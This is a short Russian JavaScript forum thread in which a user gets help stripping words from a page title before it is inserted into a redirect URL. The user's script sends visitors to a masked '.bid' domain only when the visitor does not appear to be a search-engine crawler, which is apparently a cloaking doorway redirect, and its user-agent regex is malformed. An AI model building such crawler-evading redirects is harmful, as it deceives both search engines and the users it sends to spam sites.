Javascript-форум (https://javascript.ru/forum/)
-   Ваши сайты и скрипты (https://javascript.ru/forum/project/)
-   -   Вырезать ненужный участок текста (https://javascript.ru/forum/project/74148-vyrezat-nenuzhnyjj-uchastok-teksta.html)

affaff 18.06.2018 14:14

var element = document.getElementsByTagName("title")[0];
var re_url = 'http://***.bid/?key='+element.innerHTML;
document.title = document.title.replace(/toxic keyword/gi, "");

Так ничего не получилось

affaff 18.06.2018 14:16

напишите код который можно будет дописать помимо этого
чтобы из тайтла в подстановке в ссылку удалялись токсичные слова

var element = document.getElementsByTagName("title")[0];
var re_url = 'http://***.bid/?key='+element.innerHTML;


if (document.referrer || !/google||baidu|bing|msn|duckduckgo|teoma|slurp|yand ex|qwant/i.test(navigator.userAgent)) {
if (detect_by_action) {
botDetect.onUser(function () {
window.location.href = re_url;
});
} else {
window.location.href = re_url;
}
}

j0hnik 18.06.2018 14:17

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>keyword Document toxic</title>
	<script>
document.title = document.title.replace(/toxic|keyword|/gi, "");
</script>
</head>
<body>
</body>
</html>


посмотрите что в тайтл останется

j0hnik 18.06.2018 14:22

попробуйте рассказать подробно что вы сделать хотите?
при чем тут document.referrer и navigator.userAgent

affaff 18.06.2018 14:29

var element = document.getElementsByTagName("title")[0];
var re_url = 'http://***.bid/?key='+element.innerHTML;

значение re_url это у нас конечная ссылка на которую юзер уходит при исполнении некоторых условий. Это не нужно. это все работает

Нам нужно что бы в это значение подставлялась фраза из тайтла без "плохих слов", я уже раз пятый это объясняю)

j0hnik 18.06.2018 14:32

var re_url = 'http://***.bid/?key='+document.title.replace(/toxic|keyword|/gi, "");


вот собственно

affaff 18.06.2018 14:43

Спасибо) Мощь!
это еще проще. и все работает как нужно


Часовой пояс GMT +3, время: 23:16.